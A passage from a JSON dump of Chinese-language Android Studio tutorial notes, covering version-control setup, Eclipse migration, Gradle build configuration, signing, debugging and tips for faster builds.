given issues to fatal (which means they will be\n        // checked during release builds (even if the lint target is not included)\n//        fatal 'NewApi', 'InlineApi'\n        // Set the severity of the given issues to error\n//        error 'Wakelock', 'TextViewEdits'\n        // Set the severity of the given issues to warning\n//        warning 'ResourceAsColor'\n        // Set the severity of the given issues to ignore (same as disabling the check)\n//        ignore 'TypographyQuotes'\n    }\n\n\t// 可以指定用具体哪个JDK版本来进行编译\n    compileOptions {\n        sourceCompatibility JavaVersion.VERSION_1_7\n        targetCompatibility JavaVersion.VERSION_1_7\n    }\n\n\t// 更改生成的apk文件名字，方便区分多渠道\n    applicationVariants.all { variant ->\n        variant.outputs.each { output ->\n            def outputFile = output.outputFile\n            if (outputFile != null && outputFile.name.endsWith('.apk')) {\n                def fileName = outputFile.name.replace(\".apk\", \"-${defaultConfig.versionName}.apk\")\n                output.outputFile = new File(outputFile.parent, fileName)\n            }\n        }\n    }\n}\n\ndependencies {\n    compile fileTree(dir: 'libs', include: ['*.jar'])\n    compile project(':libraries:framework')\n    // square leakcanary\n    debugCompile 'com.squareup.leakcanary:leakcanary-android:1.3.1'\n    releaseCompile 'com.squareup.leakcanary:leakcanary-android-no-op:1.3.1'\n}\n\nrepositories {\n    //从中央库里面获取依赖\n    mavenCentral()\n    //或者使用指定的本地maven 库\n    maven{\n        url \"file://F:/githubrepo/releases\"\n    }\n    //或者使用指定的远程maven库\n    maven{\n        url \"远程库地址\"\n    }\n}\n\n上面`build.gradle`中的配置基本就是这些，那么`manifest`中的清单文件该如何对`umeng`渠道进行修改呢？ \n```xml\n    <application\n        android:allowBackup=\"true\"\n        android:name=\".application.RetailApplication\"\n        android:icon=\"@mipmap/ic_launcher\"\n        android:theme=\"@android:style/Theme.Light.NoTitleBar.Fullscreen\"\n        android:label=\"@string/app_name\">\n        <activity\n            android:name=\".SplashActivity\"\n            android:screenOrientation=\"portrait\"\n            android:configChanges=\"keyboardHidden|orientation|screenSize\"\n            android:label=\"@string/app_name\">\n            <intent-filter>\n                <action android:name=\"android.intent.action.MAIN\" />\n\n                <category android:name=\"android.intent.category.LAUNCHER\" />\n            </intent-filter>\n        </activity>\n\n        <!--支持Gradle中的渠道替换-->\n        <meta-data\n            android:name=\"UMENG_CHANNEL\"\n            android:value=\"${UMENG_CHANNEL_VALUE}\" />\n    </application>\n```\n\t\t\t\t\n上面讲解了如何进行多渠道打包。还剩下一个问题，就是`Log`开关的问题。这就要用到`BuildConfig.DEBUG`。 `Gradle`脚本默认有`debug`和`release`两种模式，对应的`BuildCondig.DEBUG`字段分别为`true`和`false`，而且不可更改。该字段编译后自动生成，在`app/build/source/BuildConfig/Build Varients/package name/BuildConfig`文件中。所以我们可以在`LogUtil`中这样配置。\n```java\npublic class LogUtil {\n    /**\n     * If print log here.\n     */\n    private static int LOG_LEVEL = BuildConfig.DEBUG ? 6 : 1;\n\n    private static final int VERBOSE = 5;\n    private static final int DEBUG = 4;\n    private static final int INFO = 3;\n    private static final int WARN = 2;\n    private static final int ERROR = 1;\n\n    ...\n}\n```\n\t\t\t\n这里再多提一句，就是如果我们不想使用`BuildConfig.DEBUG`，想额外的使用一些其他的配置该如何操作呢？\n可以在`gradle`文件中的`buildTypes`中进行添加。\n```xml\nbuildTypes {\n\tdebug {\n\t\t// 显示Log\n\t\tbuildConfigField \"boolean\", \"LOG_DEBUG\", \"true\"\n\t\tversionNameSuffix \"-debug\"\n\t\tminifyEnabled false\n\t\tzipAlignEnabled false\n\t\tshrinkResources false\n\t\tsigningConfig signingConfigs.debug\n\t}\n\n\trelease {\n\t\t// 不显示Log\n\t\tbuildConfigField \"boolean\", \"LOG_DEBUG\", \"false\"\n\t\tzipAlignEnabled true\n\t\t// remove unused resources\n\t\tshrinkResources true\n\t\tminifyEnabled true\n\t\tproguardFiles getDefaultProguardFile('proguard-android.txt'), 'proguard-rules.pro'\n\t\tsigningConfig signingConfigs.release\n\t}\n}\n```\n\n在代码中使用`BuildConfig.LOG_DEBUG`就可以了。\n\n\n更多内容请参考[Gradle Plugin User Guide](http://tools.android.com/tech-docs/new-build-system/user-guide)\n\n\n最后附上一张`Build`流程图: \n\n![Image](https://raw.githubusercontent.com/CharonChui/Pictures/master/build.png?raw=true)\t\n\n\t\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! "
  },
  {
    "path": "docs/android/AndroidNote/AndroidStudioCourse/AndroidStudio使用教程(第三弹).md",
    "content": "AndroidStudio使用教程(第三弹)\n===\n\n熟悉了基本的使用之后，可能关心的就是版本控制了。\n\n- `SVN`               \n    - 下载`Subversion command line`              \n\t\t- 方法一                \n\t        下载地址是[Subversion](http://subversion.apache.org/packages.html)里面有不同系统的版本。             \n\t        以`Windows`为例，我们采用熟悉的`VisualSVN`.                    \n\t        ![Image](https://raw.githubusercontent.com/CharonChui/Pictures/master/AndroidStudio_3_1.png?raw=true)\t                     \n\t        进入下载页后下载`Apache Subversion command line tools`, 解压即可。             \n\t\t    ![Image](https://raw.githubusercontent.com/CharonChui/Pictures/master/AndroidStudio_3_2.png?raw=true)\t         \n          \n\t    - 方法二                                   \n\t\t    `Windows`下的`Tortoise SVN`也是带有`command line`的，但是安装的时候默认是不安装这个选项的，所以安装时要注意选择一下。                  \n\t\t\t![Image](https://raw.githubusercontent.com/CharonChui/Pictures/master/AndroidStudio_3_5.png?raw=true)\t                   \n\t\t\t选择安装即可                         \n\t\t\t![Image](https://raw.githubusercontent.com/CharonChui/Pictures/master/AndroidStudio_3_6.png?raw=true)\t                 \n\t\t\t\n\t- 配置`SVN`                      \n\t    进入设置中心,搜索`Version Control`后选择`Subversion`， 将右侧的`Use command line client`设置你本地的`command line`路径即可。             \n\t\t![Image](https://raw.githubusercontent.com/CharonChui/Pictures/master/AndroidStudio_3_3.png?raw=true)\t               \t\n\t\t如果是用第二种方式安装`Tortoise SVN`的话地址就是：                   \n\t\t![Image](https://raw.githubusercontent.com/CharonChui/Pictures/master/AndroidStudio_3_4.png?raw=true)\t                   \n\t\tPS: 设置成自己的路径啊，不要写我的...               \n\t\t\n- `Git`\n\t安装`Git`, [Git](http://git-scm.com/)             \n\t选择相应系统版本安装即可。                   \n\t安装完成后进入`Android Studio`设置中心-> `Version Control` -> `Git`设置`Path to Git executable`即可。                 \n\t![Image](https://raw.githubusercontent.com/CharonChui/Pictures/master/AndroidStudio_3_7.png?raw=true)\t                 \n\n- `Github`\n    怎么能少了它呢？哈哈              \n\t这个就不用安装了，直接配置下用户名和密码就好了。                    \n\t![Image](https://raw.githubusercontent.com/CharonChui/Pictures/master/AndroidStudio_3_8.png?raw=true)\t               \t\n\t\n- `Checkout`\n    在工具栏中点击 `VCS` 能看到相应检出和导入功能。这里以`Github`检出为例介绍一下。                   \n\t![Image](https://raw.githubusercontent.com/CharonChui/Pictures/master/AndroidStudio_3_9.png?raw=true)\t\t           \n\t![Image](https://raw.githubusercontent.com/CharonChui/Pictures/master/AndroidStudio_3_10.png?raw=true)\t           \n\t确定之后就能在底部导航栏看到检出进度                    \n\t![Image](https://raw.githubusercontent.com/CharonChui/Pictures/master/AndroidStudio_3_11.png?raw=true)\t                  \n\t\n\t完成之后会提示是否想要把刚才检出的项目导入`AndroidStudio`中。                  \n\tWhy not?                         \n\t以`Gradle`方式导入， 然后`next`, 然后`next`然后就没有然后了。                     \n\t![Image](https://raw.githubusercontent.com/CharonChui/Pictures/master/AndroidStudio_3_12.png?raw=true)\t                                     \n\t\t\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! "
  },
  {
    "path": "docs/android/AndroidNote/AndroidStudioCourse/AndroidStudio使用教程(第二弹).md",
    "content": "AndroidStudio使用教程(第二弹)\n===\n\n- 迁移`Eclipse`工程到`Android Studio`            \n\n    官方文档中说`Android Studio`可以兼容`Eclipse`的现有工程，但需要做一些操作：              \n\t\n    - `Eclipse`进行项目构建           \n\t    首先升级`ADT`到最新版本, 好像是22之后，选择需要从`Eclipse`导出的工程，右键选择`Export`并选择`Android`下的`Generate Gradle Build Files`, \n\t\t运行完成之后你会发现在项目目录中多了一个`build.gradle`, 这就是`Android Studio`所识别的文件。      \n\t\tPS：官方文档中说明如果没有`Grade build`文件，也是可以将项目导入到`Android Studio`中，它会用现有的`Ant build`文件进行配置.\n\t\t但为了更好地使用之后的功能和充分使用构建变量，\n\t\t还是强烈地建议先从`ADT`插件中生成`Gradle`文件再导入`Android Studio`.\n    \n\t- 导入            \n\t    在`Android Studio`中选择`Import Project`,并选择刚才工程目录下的`build.gradle`即可。           \n\n\t\t有些时候会发现导入之后在运行按钮左边显示不出`Module`来，可能是你导入之前的`SDK`版本不同导致的，只要在`build.gradle`中配置相应的`SDK`版本就可以了。           \n\t\t```java\n\t\tandroid {\n\t\t\tcompileSdkVersion 19\n\t\t\tbuildToolsVersion \"21.1.1\"\n\t\t\t...\n\t\t\t}\n\t\t```\n\t\n- 创建工程     \n    创建工程和`Eclipse`流程基本差不多，大家一看就明白了，这里就不说了。\n\t\n- 使用`Android`项目视图\n    这里纯粹看个人爱好，不过对于标准的`AndroidStudio`工程，一般我们常用的部分，都在`Android`项目视图中显示出来了。      \n\t![Image](https://raw.githubusercontent.com/CharonChui/Pictures/master/AndroidStudio_2_1.png?raw=true)             \n\t效果如下图：     \n\t![Image](https://raw.githubusercontent.com/CharonChui/Pictures/master/AndroidStudio_2_2.png?raw=true)               \n\t\n- 使用布局编辑器             \n\n    布局编辑器的适时和多屏幕预览的确是一个亮点。     \n\t\n\t- 点击布局页面右侧的`Preview`按钮，可以进行预览。  \n\t\n\t    想预览多屏幕效果时可以在预览界面设备的下拉菜单上选择`Preview All Screen Sizes`.     \n\t    ![Image](https://raw.githubusercontent.com/CharonChui/Pictures/master/AndroidStudio_2_3.png?raw=true)       \n\t\t\n\t- 选择主题\n\t\n\t    想给应用设置一个主题，可以点击`Theme`图标![Image](https://raw.githubusercontent.com/CharonChui/Pictures/master/AndroidStudio_2_4.png?raw=true), \n\t\t就会显示出选择对话框。       \n\t\t![Image](https://raw.githubusercontent.com/CharonChui/Pictures/master/AndroidStudio_2_5.png?raw=true)\n\t\n\t- 国际化\n\t    对于国际化的适配选择国际化图标![Image](https://raw.githubusercontent.com/CharonChui/Pictures/master/AndroidStudio_2_6.png?raw=true),\n\t\t然后在弹出的列表中选择需要进行国际化的国家进行适配即可。\n\n- 常用功能\n    有些人进来之后可能找不到`DDMS`了.      \n\t![Image](https://raw.githubusercontent.com/CharonChui/Pictures/master/AndroidStudio_2_7.png?raw=true)\t   \n\t上图中的三个图标分别为, `AVD Manager`、`SDK Manager`、`DDMS`\n\t\n\n\t\t\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! "
  },
  {
    "path": "docs/android/AndroidNote/AndroidStudioCourse/AndroidStudio使用教程(第五弹).md",
    "content": "AndroidStudio使用教程(第五弹)\n===\n\nCreate and Build an Android Studio Project\n---\n\n接下来是以下这四个部分：     \n- Create projects and modules.\n- Work with the project structure.\n- Eidt build files to configure the build process.\n- Build and run your app. \n\n关于如何创建`Project`这里就不说了， 默认创建的`Project`中有一个`app`的`Module`。\n\nAdd a library module\n---\n\n接下来的部分说一下如何在`Project`中创建一个`library module`并且把该`library`变成程序的一个依赖`module`。\n\n### Create a new library module\n\n- 点击`File`菜单后选择`New Module`或在`Project`上右键选`New Module`.     \n- 展开页面下方的`More Modules`选择`Android Library`后`Next`.      \n- 输入名字这里为了演示方便名字叫做`mylibrary`后一直`Next`即可.      \n完成之后打开该`Module`中的`build.gradle`你会看到`apply plugin: 'com.android.library'`说明这是一个`library`.    \n\n### Add a dependency on a library module   \n上一步我们创建了`mylibrary module`, 现在我们想让`app module`依赖与`mylibrary module`, 但是构建系统还不知道，\n我们需要修改`app module`下的`build.gradle`文件添加`mylibrary module`就可以了。 \n\n```xml\n...\ndependencies {\n    ...\n    compile project(\":mylibrary\")\n}\n```\n\n### Build the project in Android Studio\n`Android Studio`中`build project`点击上面导航栏中的`Build`菜单然后选择`Make Project`, 这时窗口底部的状态栏就会显示`build`的进度。       \n点击窗口右边底部的![Image](https://github.com/CharonChui/Pictures/blob/master/AndroidStudio_5_2.png)图标来显示`Gradle Console`.      \n![Image](https://github.com/CharonChui/Pictures/blob/master/AndroidStudio_5_3.png?raw=true)\n\n在窗口右边栏点击`Gradle`窗口可以看到当前所有可用的`build tasks`, 双击里面的`task`即可执行。      \n![Image](https://github.com/CharonChui/Pictures/blob/master/AndroidStudio_5_4.png?raw=true)\n\n### Build a release version\n点击`Gradle tasks`页面， 展开`app`中的`task`然后双击`assembleRelease`即可。 \n\nConfigure the Build\n---\n\n接下来以`MyApplication Project`说明以下几个部分：     \n- Use the syntax from the Android plugin for Gradle in build files.\n- Declare dependencies.\n- Configure ProGurad settings. \n- Configure signing settings.\n- Work with build variants. \n\n###Build file basics\n`Android Studio projects`中包含一个`build file`，每个`module`中也有一个`build file`名字为`build.gradle`.  \n下面是`Project`中`app module`的`build.gradle`文件      \n```\napply plugin: 'com.android.application'\n\nandroid {\n    compileSdkVersion 19\n    buildToolsVersion \"21.1.1\"\n\n    defaultConfig {\n        applicationId \"com.charon.myapplication\"\n        minSdkVersion 15\n        targetSdkVersion 19\n        versionCode 1\n        versionName \"1.0\"\n    }\n    buildTypes {\n        release {\n            runProguard false\n            proguardFiles getDefaultProguardFile('proguard-android.txt'), 'proguard-rules.pro'\n        }\n    }\n}\n\ndependencies {\n    compile fileTree(dir: 'libs', include: ['*.jar'])\n    compile project(\":mylibrary\")\n}\n\n```\n```apply plugin: 'com.android.application’```  声明了`Gradle`的类型为`Android`应用程序，这样会在最高级的`build tasks`中添加\n一个`Android`程序特有的`build`任务并且创建`android {…}`来声明`Android`程序特殊的`build`配置。      \n`android {…}`部分配置了所有`Android`程序的`build`配置：     \n- `compileSdkVersion `表明了编译的目标`SDK`版本。\n- `buildToolsVersion` 声明了当前 `build`的版本， 可以使用`SDK Manager`来下载多个`build`版本。 \n    **注意：**最好使用高版本的`build`工具或者是和编译是目标`SDK`版本对应的`build`版本。 \n- `defaultConfig`配置了`AndroidManifest.xml`中的重要设置。\n- `buildTyppes`部分控制着如何去`build`和打包你的程序，默认时会定义两种`build`类型:`debug 和 release`. `debug`类型带有默认的\n`debugging`标示，用`debug key`进行签名, `release`版本默认时没有签名，上面的配置中`release`时没有使用`ProGuard`.      \n`dependencies`部分是在`android`之外，该部分声明了依赖的`module`。     \n**注意：**当修改项目中得`build files`时，`Android Studio`需要进行项目同步来导入相应的`build`配置变化， 点击`Android Studio`中黄色通知部分的`Sync Now`\n来进行变化的导入。               \n![Image](https://github.com/CharonChui/Pictures/blob/master/AndroidStudio_5_5.png)     \n\n###Declare dependencies\n```java\ndependencies {\n    // Module dependency\n    compile project(\":lib\")\n\n    // Remote binary dependency\n    compile 'com.android.support:appcompat-v7:19.0.1'\n\n    // Local binary dependency\n    compile fileTree(dir: 'libs', include: ['*.jar'])\n}\n```\n- Module dependency     \n    为本地依赖的`Module`. \n- Remote binary dependency    \n    为远程依赖的二进制文件， 例子中为`Android SDK`仓库中所有的`support v7`包。    \n- Local binary dependency     \n    为本地项目中依赖的`jar`包，这些`jar`包是在项目中的`libs`目录中。    \n\n###Run ProGuard\n构建过程中可以使用`ProGuard`进行代码混淆， 修改`build`文件中的`runProGuard`选项为`true`即可。   \n```java\n\n...\nandroid {\n    ...\n    buildTypes {\n        release {\n            runProguard true\n            proguardFiles getDefaultProguardFile('proguard-android.txt'), 'proguard-rules.pro'\n        }\n    }\n}\n...\n```\n```getDefaultProguardFile(`proguard-android.txt`)```包含了`Android SDK`安装时默认的`ProGuard`设置。`Android Studio`在`module`的根目录中\n添加了`proguard-rules.pro`文件，可以在这里配置相应的`ProGuard`规则。     \n\n\n###Configure signing settings \n`debug`版本和`release`版本的应用区别在于应用程序能不能在一些稳定的设备上进行`debug`和`APK`是怎样进行签名的。 构建系统对`debug`版本使用默认的签名并且使用已知的\n证书以便在构建过程中不会进行代码提示。如果你不指定签名配置时构建系统不会对`release`版本进行签名。   \n下面是如何让程序在`release`版本进行签名      \n- 拷贝签名文件到`app module`的根目录。     \n    这样就可以保证当你在其他机器上构建项目的时候可以找到你的签名文件， 如果你没有签名文件，可以先创建一个。    \n- 在`app module`中的`build file`中配置签名选项。     \n    ```java\n    ...\n    android {\n        ...\n        defaultConfig { ... }\n        signingConfigs {\n            release {\n                storeFile file(\"myreleasekey.keystore\")\n                storePassword \"password\"\n                keyAlias \"MyReleaseKey\"\n                keyPassword \"password\"\n            }\n        }\n        buildTypes {\n            release {\n                ...\n                signingConfig signingConfigs.release\n            }\n        }\n    }\n    ... \n    ```   \n\n- 在`Android Studio`中的`build task`页面运行`assembleRelease`。 \n在`app/build/apk/app-release.apk`下的包现在就是使用签名文件签过名的了。     \n**注意：**把签名密码等写到`build`文件中不是很安全， 可以把密码配置到环境变量中或者是让其在构建的过程中提示输入密码。 这里我们就先不介绍如何配置了，可以自己搜索下。    \n\n至于开始所说利用`Gradle`可以很简单的进行多渠道打包会在以后专门讲解， 这里先到此为止了。 \t\n\t                  \n\t\t\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! "
  },
  {
    "path": "docs/android/AndroidNote/AndroidStudioCourse/AndroidStudio使用教程(第六弹).md",
    "content": "AndroidStudio使用教程(第六弹)\n===\n\nDebug\n---\n\n`Andorid Studio`中进行`debug`:      \n- 在`Android Studio`中打开应用程序。    \n- 点击状态栏中的`Debug`![Image](https://github.com/CharonChui/Pictures/blob/master/AndroidStudio_6_1.png?raw=true)图标。\n- 在接下来的选择设备窗口选择相应的设备或创建虚拟机， 点击`OK`即可。     \n`Android Studio`在`debug`时会打开`Debug`工具栏， 可以点击`Debug`![Image](https://github.com/CharonChui/Pictures/blob/master/AndroidStudio_6_2.png?raw=true)图标打开`Debug`窗口。    \n\n###设置断点 \n与`Eclipse`十分相似， 在代码左侧位置点击一下即可， 圆点的颜色变了。   \n\n###Attach the debugger to a running process \n在`debug`时不用每次都去重启应用程序。 我们可以对正在运行的程序进行`debug`:  \n- 点击`Attach debugger to Android proccess`![Image](https://github.com/CharonChui/Pictures/blob/master/AndroidStudio_6_3.png?raw=true)图标。  \n- 设备选择窗口选择想要`debug`的设备。 \n- 点击`Debug`![Image](https://github.com/CharonChui/Pictures/blob/master/AndroidStudio_6_2.png?raw=true)图标打开`Debug`工具栏。    \n- 在`Debug`工具栏中有`Stop Over`, `Stop Into`等图标和快捷键，这些就不仔细说明了, 和`Eclipse`都差不多。     \n\n### View the system log\n在`Android DDMS`中和`Debug`工具栏中都可以查看系统`log`日志，\n- 在窗口底部栏点击`Android`![Image](https://github.com/CharonChui/Pictures/blob/master/AndroidStudio_6_4.png?raw=true) 图标打开`Android DDMS`工具栏。   \n- 如果此时`Logcat`窗口中的日志是空得，点击`Restart`![Image](https://github.com/CharonChui/Pictures/blob/master/AndroidStudio_6_5.png?raw=true)图标。 \n- 如果想要只显示当前某个进程的信息点击`Only Show Logcat from Selected Process`![Image](https://github.com/CharonChui/Pictures/blob/master/AndroidStudio_6_6.png?raw=true). 如果当时设备窗口不可见，点击右上角的`Restore Devices View`![Image](https://github.com/CharonChui/Pictures/blob/master/AndroidStudio_6_7.png?raw=true)图标，该图标只有设备窗口不可见时才会显示。    \n\n删除`Project`及`Module`\n---\n\n很多人都在问`AndroidStudio`中如何删除`Project`，如何删除`Module`？怎么和`Eclipse`不同啊，找不到`delete`或`remove`选项。       \n    - 删除`Project`       \n        点击左侧`File`-->`Close project`，关闭当前工程， 然后直接找到工程所在本地文件进行删除(慎重啊), 删除完之后点击最近列表中的该项目就会提示不存在，我们把他从最近项目中移除即可.![Image](https://github.com/CharonChui/Pictures/blob/master/AndroidStudio_6_11.png?raw=true)你会发现，点击`remove`之后没效果，以后估计会解决。      \n    - 删除`Module`             \n        在该`Module`邮件选择`Open Module Settings`。            \n\t\t![Image](https://github.com/CharonChui/Pictures/blob/master/AndroidStudio_6_8.png?raw=true)                \n        进入设置页后选中要删除的`Module`点击左上角的删除图标`-`后点击确定。                                \n\t\t![Image](https://github.com/CharonChui/Pictures/blob/master/AndroidStudio_6_9.png?raw=true)\n\t\t\n        \t  \t\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! "
  },
  {
    "path": "docs/android/AndroidNote/AndroidStudioCourse/AndroidStudio使用教程(第四弹).md",
    "content": "AndroidStudio使用教程(第四弹)\n===\n   \nGradle\n---\n\n讲解到这里我感觉有必要说明一下`Gradle`。       \n`Gradle`是一个基于`Apache Ant`和`Apache Maven`概念的项目自动化建构工具。它使用一种基于`Groovy`的特定领域语言来声明项目设置，而不是传统的`XML`.      \n更多介绍请直接参考[Gradle](http://www.gradle.org/)或`Google`搜索。\n\n以下是为什么Android Studio选择Gradle的主要原因：   \n- 使用领域专用语言（Domain Specific Language）来描述和处理构建逻辑。（以下简称DSL）\n- 基于Groovy。DSL可以混合各种声明元素，用代码操控这些DSL元素达到逻辑自定义。\n- 支持已有的Maven或者Ivy仓库基础建设\n- 非常灵活，允许使用best practices，并不强制让你遵照它的原则来。\n- 其它插件时可以暴露自己的DSL和API来让Gradle构建文件使用。\n- 允许IDE集成，是很好的API工具\n\nOverview\n---\n\n`AndroidStudio build`系统是一个你可以用来`build, test, run, package your apps`的工具。 `build`系统与`Android Studio`之间是独立的，\n所以你可以在`Android Studio`中或者\n`command line`中去执行。写完自己的应用程序之后，你可以用`build`系统来做以下事情：　　　　　\n- 自定义、配置和扩展`build`过程.。     \n- 用同一个工程根据不同的特性来创建多个`APK`。    \n- 重复利用代码和资源。    \n`Android Studio`灵活的`build`系统能让你不用修改项目和核心文件而完成上面所有的工作。 \n\t\t\nOverview of the Build System\n---\n\n`Android Studio`的构建系统包含一个`Gradle`的`Android`插件，`Gradle`是一个管理依赖关系并且允许自定义构建逻辑的高级构建工具。 许多软件都用`Gradle`来进行构建。\n`Gradle`的`Android`插件并不依赖`Android Studio`， 虽然`Android Studio`全部集成了`Gralde`， 这就意味着：　　　　    \n- 你可以用用命令行的方式去构建`Android`应用或者是在一些没有安装`Android Studio`的机器上。\n- 你可以用命令行构建时的配置和逻辑来在`Android Studio`中进行构建`Android`项目。 \n不管你是通过命令行还是远程机器或者是`Android Studio`来进行构建的产出都是一致的。 \n\nBuild configuration\n---\n\n项目的构建配置都在`Gralde build files`中， 都是些符合`Gradle`要求的选项和语法，`Android`插件并不依赖`Android\n通过`build`文件来配置一下几个方面：   \n- `Build variants` 构建系统能对同一个项目通过不同的配置生成多个`APK`，当你想构建多个不同版本时这是非常有用的，因为不用为他们建立多个不同的项目。    \n- `Dependencies` 构建系统管理项目的依赖关系，并且支持本地已经远程仓库的依赖关系。 这样你就不用再去搜索、下载，然后再拷贝相应的包到你工程的目录了。 \n- `Manifest entries` 构建系统能够通过构建配置去指定清单文件中中某些元素的值。 当你想生成一些包名、最低`SDK`版本或目标`SDK`版本不同的`APK`时是非常有用的。\n- `Signing` 构建系统能在`build`配置中设置指定的签名， 在构建的构成会给`APK`进行签名。 \n- `ProGuard` 构建系统允许根据不同的构建配置设置不同的混淆规则， 在构建的过程中会运行`ProGuard`来对`class`文件进行混淆。 \n- `Testing` 构建系统会根据项目中的测试代码生成一个测试`APK`， 这样就不需要创建一个单独的测试工程了， 在构建的过程中会运行相应的测试功能。 \n`Gradle`构建文件使用`Groovy`语法，`Groovy`是一门可以自定义构建逻辑并且能通过`Gradle`的`Android`插件与`Android`一些特定元素通信的语言。 \n\nBuild by convention\n---\n\n`Android Studio`构建系统对项目结构和一些其他的构建选项做了一些很好的默认规范声明，如果你的项目符合这些条件，`Gradle`的构建文件就非常简单了。 如果你的项目不符合\n其中的一些要求， 灵活的构建系统也允许你去配置几乎所有的构建选项。例如你项目的源码没有放在默认的文件夹中，你可以通过`build`文件去配置它的位置。 \n\nProjects and modules\n---\n\n`Android Studio`中的`Project`代表了一个完整的`Android`应用，每个`Project`中可以有一个或多个`Module`。 `Module`是应用中可以单独`build, test`或`debug`的组件。 \n`Module`中包含应用中的源码和资源文件， `Android Studio`中的`Project`包含以下三种`Module`：     \n- 包含可复用代码的`Java library modules`. 构建系统对`Java library module`会生成一个`JAR`包。 \n- 有可复用`Android`代码和资源的`Android library modules`. 对该`library modules`构建系统会生成一个`AAR(Android ARchive)`包。\n- 有应用代码或者也可能是依赖其他`library modules`的`Android application modules`, 虽然很很多`Android`应用都只包含一个`application module`. \n对于`application modules`\n构建系统会生成一个`APK`包。 \n\n`Android Studio projects`在`project`的最外城都包含一个列出所有`modules`的`Gradle build file`, 每个`module`也都包含自己的`Gradle build file`.      \n\nDependencies\n---\n\n`Android Studio`的构建系统管理着依赖项目并且支持`module`依赖，  本地二进制文件依赖和远程二进制文件的依赖。 \n\n- `Module Dependencies`\n    一个项目的`module`可以在构建未见中包含一系列所依赖的其他`modules`， 在你构建这个`module`的时候，系统回去组装这些所包含的`modules`. \n- `Local Dependencies`\n    如果本地文件系统中有`module`所依赖的二进制包如`JAR`包， 你可以在该`module`中的构建文件中声明这些依赖关系。 \n- `Remote Dependencies`\n    当你的依赖是在远程仓库中，你不需要去下载他们然后拷贝到自己的工程中。 `Android Studio`支持远程`Maven`依赖。 `Maven`是一个流行的项目管理工具，\n\t它可以使用仓库帮助组织项目依赖。         \n\t\n\t许多优秀的软件类库和工具都在公共的`Maven`仓库中， 对于这些依赖只需按照远程仓库中不同元素的定义来指定他们的`Moven`位置即可。 \n\t构建系统使用的`Maven`位置格式是`group:name:version`. 例如`Google Guava`16.0.1版本类库的`Maven`坐标是\n\t`com.google.guava:guava:16.0.1`.      \n\t\n\t` Maven Central Repository`现在被广泛用于分发许多类库和工具。 \n\t\n下面分别为以上三种依赖关系的配置；   \n```\ndependencies {\n    compile project(\":name\")\n\tcompile fileTree(dir: 'libs', include: ['*.jar'])\n    compile 'com.google.guava:guava:16.0.1'\n}\n```\n\t\nBuild tasks\n---\n\n`Android Studio`构建系统定义了一些列的构建任务， 高级别的任务调用一些产出必要输出的任务。 构建系统提供了`project tasks`来构建`app`和`module tasks`\n来独立的构建`modules`.          \n\n可以通过`Andorid Studio`或者命令行看到当前可用任务的列表，并且执行里面的任务。 \n\nThe Gradle wrapper\n---\n\n`Android Studio`项目包含了`Gradle wrapper`， 包括：　　　　　\n- A JAR file     \n- A properties file      \n- A shell script for Windows platforms    \n- A shell script for Mac and Linux platforms        \n*声明：*需要把这些文件提交到代码控制系统。         \n\n使用`Gradle wrapper`(而不用本地安装的`Gradle`)能确保经常运行配置文件中配置的`Gralde`版本。 通过在配置文件中定义最新的版本来确保你的工程一直使用最新版的`Gradle`。 \n\n`Android Studio`从你项目中的`Gradle wrapper`目录读取配置文件，并且在该目录运行`wrapper`， 这样在处理多个需要不同`Gradle`版本的项目时就会游刃有余。 \n*声明：*`Android Studio`不使用`shell`脚本，所以对于他们的任何改变在`IDE`构建时都不会生效，你应该在`Gradle build files`中去设置自定义的逻辑。       \n\n你可以在开发及其或者是一些没有安装`Android Studio`的及其上使用命令行运行`shell`脚本来构建项目。   \n\n直接上图：   \n![Image](https://raw.githubusercontent.com/CharonChui/Pictures/master/AndroidStudio_4_1.png?raw=true)\t            \n\t\t\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! "
  },
  {
    "path": "docs/android/AndroidNote/AndroidStudioCourse/AndroidStudio提高Build速度.md",
    "content": "AndroidStudio提高Build速度\n===\n\n`Android Studio`自动发布以来，凭借其强大的功能，很快让开发者都投入到它的阵营下。但是也问题，就是`Build`速度太慢了。\n\n之前也根据网上的资料，修改了一些配置，但是一次二分多种有时候还是让人抓狂。今天索性记录一下。首先看一下[Google+](https://plus.google.com/+AndroidDevelopers/posts/ECrb9VQW9XP)关于该问题的讨论。\n\n\n- 使用`daemon`及`parallel`模式\n\n    在下面的目录中创建一个名为`gradle.properties`的文件:     \n\n    - `/home/<username>/.gradle/ (Linux)`\n    - `/Users/<username>/.gradle/ (Mac)`\n    - `C:\\Users\\<username>\\.gradle (Windows)`\n\n    文件的内容为: \n    ```\n    org.gradle.daemon=true\n    org.gradle.parallel=true\n    ```\n    \n    经过上面的这一步修改是对所有工程都有效果的，如果你只想对某一个工程配置的话，那就在该工程目录下的`gralde.properties`中进行配置。\n    ```\n    # Project-wide Gradle settings.\n    \n    # IDE (e.g. Android Studio) users:\n    # Gradle settings configured through the IDE *will override*\n    # any settings specified in this file.\n    \n    # For more details on how to configure your build environment visit\n    # http://www.gradle.org/docs/current/userguide/build_environment.html\n    \n    # Specifies the JVM arguments used for the daemon process.\n    # The setting is particularly useful for tweaking memory settings.\n    # Default value: -Xmx10248m -XX:MaxPermSize=256m\n    # org.gradle.jvmargs=-Xmx2048m -XX:MaxPermSize=512m -XX:+HeapDumpOnOutOfMemoryError -Dfile.encoding=UTF-8\n    \n    # When configured, Gradle will run in incubating parallel mode.\n    # This option should only be used with decoupled projects. More details, visit\n    # http://www.gradle.org/docs/current/userguide/multi_project_builds.html#sec:decoupled_projects\n    # org.gradle.parallel=true\n    ```\n    打开时默认如上。我们给加添加上面的配置就好。\n    \n    当然你也可以通过`Studio`的设置中进行修改。        \n    ![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/studio_speed.png?raw=true)\n\n\n- 使用`offline`模式      \n  \n    下一步就是开始`offline`模式，因为我们经常会在`gradle`中使用一下依赖库时用`+`这样的话就能保证你的依赖库是最新的版本，但是这样在每次`build`的时候都会去检查是不是最新的版本，所以就会耗时。        \n    ![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/studio_offline.png?raw=true)\n\n    在开发过程中是不建议使用动态版本的，在`Studio`中使用动态版本的`gradle`中间中使用`ALT+ENTER`键进行修复。\n    